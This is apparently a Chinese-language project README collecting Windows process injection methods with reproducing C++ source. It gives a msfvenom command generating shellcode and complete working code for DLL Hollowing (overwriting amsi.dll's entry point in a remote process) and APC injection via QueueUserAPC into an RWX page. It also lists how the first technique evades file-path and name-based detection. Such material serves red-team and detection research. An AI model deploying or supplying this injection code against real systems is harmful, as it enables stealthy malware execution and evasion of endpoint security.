本项目致力于尽可能多的收集Windows下的进程注入方法,并提供源码复现。
- DLL Hollowing
- APC Injecting
- [ ]
为了验证注入方法的可行性,我们使用msfvenmon
工具生成执行命令行的shellcode:
msfvenom -p windows/x64/exec CMD=cmd.exe -f c > shellcode.h
Module Stomping(又称为Module Overloading或DLL Hollowing)技术,基本原理是将一些正常的DLL注入到目标进程中,寻找入口函数,并使用ShellCode覆盖入口地址所指向的内容,创建新线程加以执行。
- 向远程进程中导入良性Windows DLL,例如
C:\\windows\\system32\\amsi.dll
- 使用ShellCode覆写良性DLL的入口地址内容。
- 启动线程执行DLL 入口地址。
- 无需显式分配或者修改
RWX
执行权限内存页。 - ShellCode被注入到完全合法的Windows DLL中,因此基于文件路径或文件名的检测失效。
- 执行ShellCode的远程线程由合法的Windows模块相关联。
int DLLHollowing()
{
HANDLE processHandle;
PVOID remoteBuffer;
WCHAR moduleToInject[] = L"C:\\windows\\system32\\amsi.dll";
HMODULE modules[256] = {};
SIZE_T modulesSize = sizeof(modules);
DWORD modulesSizeNeeded = 0;
DWORD moduleNameSize = 0;
SIZE_T modulesCount = 0;
CHAR remoteModuleName[128] = {};
HMODULE remoteModule = NULL;
// inject a benign DLL into remote process
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetPID(ProcessName));
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof moduleToInject, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)moduleToInject, sizeof moduleToInject, NULL);
PTHREAD_START_ROUTINE threadRoutine = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
HandlePtr dllThreadHandlePtr(
CreateRemoteThread(processHandle, NULL, 0, threadRoutine, remoteBuffer, 0, NULL),
&::CloseHandle);
HANDLE dllThreadHandle = dllThreadHandlePtr.get();
if (!dllThreadHandle)
{
throw MyException("CreateRemoteThread failed.");
return -1;
}
WaitForSingleObject(dllThreadHandle, 1000);
// find base address of the injected benign DLL in remote process
EnumProcessModules(processHandle, modules, modulesSize, &modulesSizeNeeded);
modulesCount = modulesSizeNeeded / sizeof(HMODULE);
for (size_t i = 0; i < modulesCount; i++)
{
remoteModule = modules[i];
GetModuleBaseNameA(processHandle, remoteModule, remoteModuleName, sizeof(remoteModuleName));
if (std::string(remoteModuleName).compare("amsi.dll") == 0)
{
std::cout << remoteModuleName << " at " << modules[i];
break;
}
}
// get DLL's AddressOfEntryPoint
DWORD headerBufferSize = 0x1000;
LPVOID targetProcessHeaderBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, headerBufferSize);
ReadProcessMemory(processHandle, remoteModule, targetProcessHeaderBuffer, headerBufferSize, NULL);
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)targetProcessHeaderBuffer;
PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)targetProcessHeaderBuffer + dosHeader->e_lfanew);
LPVOID dllEntryPoint = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (DWORD_PTR)remoteModule);
std::cout << ", entryPoint at " << dllEntryPoint;
// write shellcode to DLL's AddressofEntryPoint
WriteProcessMemory(processHandle, dllEntryPoint, (LPCVOID)shellcode, sizeof(shellcode), NULL);
// execute shellcode from inside the benign DLL
CreateRemoteThread(processHandle, NULL, 0, (PTHREAD_START_ROUTINE)dllEntryPoint, NULL, 0, NULL);
return 0;
}
Asynchronous procedure call(APC,异步过程调用)是一种在线程异步执行指定函数的功能,主要用于异步的IO或定时器。每个线程都用自己的APC队列,程序可使用QueueUserAPC
API函数向线程APC队列中添加新的APC调用。APC调用序列的函数并不会实时被调用执行,而是当该线程处于可警告(或者说可通知状态、挂起状态)时,才会自动调用APC队列中的函数,调用的顺序为先入先出。
当线程调用SleepEx
、SignalObjectAndWait
、MsgWaitForMultipleObjectsEx
、WaitForMultipleObjectsEx
、WaitForSingleObjectEx
函数时,线程会进入挂起状态,此时APC队列函数将会被调用,在整个执行过程中,线程并无任何异常举动,不容易被察觉,但缺点是对于单线程程序一般不存在挂起状态。
- 使用
OpenProcess
获取目标进程句柄 - 通过函数
CreateToolhelp32Snapshot()
、Thread32First()
以及Thread32Next()
遍历进程快照,获取目标进程的所有线程ID。 - 调用
VirtualAllocEx()
在目标进程申请内存,通过WriteProcessMemory()
向内存写入DLL的注入路径。 - 最后,遍历线程ID,获取线程句柄。调用
QueueUserAPC()
向线程中插入APC函数,设置APC函数地址为LoadLibraryA()
的地址。
int APCInject()
{
HANDLE hProcess;
LPDWORD pThreadIdList = NULL;
DWORD dwThreadIdListLength = 0;
DWORD dwPid = 0;
dwPid = GetPID(ProcessName);
// get process thread
if (!GetProcessThreadList(dwPid, &pThreadIdList, &dwThreadIdListLength))
{
throw MyException("Get process thread list failed.");
return -1;
}
// open process handle
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
// alloc readwrite and execute page
PVOID lpAddr = NULL;
SIZE_T page_size = 4096;
lpAddr = ::VirtualAllocEx(hProcess, nullptr, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (lpAddr == NULL)
{
VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
CloseHandle(hProcess);
return FALSE;
}
if (FALSE == ::WriteProcessMemory(hProcess, lpAddr,shellcode ,sizeof shellcode , nullptr))
{
VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
CloseHandle(hProcess);
return FALSE;
}
float fail = 0;
for (int i = dwThreadIdListLength - 1; i >= 0; i--)
{
// 打开线程
HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
if (hThread)
{
// 插入APC
if (!::QueueUserAPC((PAPCFUNC)lpAddr, hThread, (ULONG_PTR)lpAddr))
{
fail++;
}
// 关闭线程句柄
::CloseHandle(hThread);
hThread = NULL;
}
}
printf("Total Thread: %d\n", dwThreadIdListLength);
printf("Total Failed: %d\n", (int)fail);
if ((int)fail == 0 || dwThreadIdListLength / fail > 0.5)
{
MessageBox(NULL, L"注入完成!", L"提示", MB_OK);
return TRUE;
}
else
{
MyException("Inject may be failed\n");
return FALSE;
}
}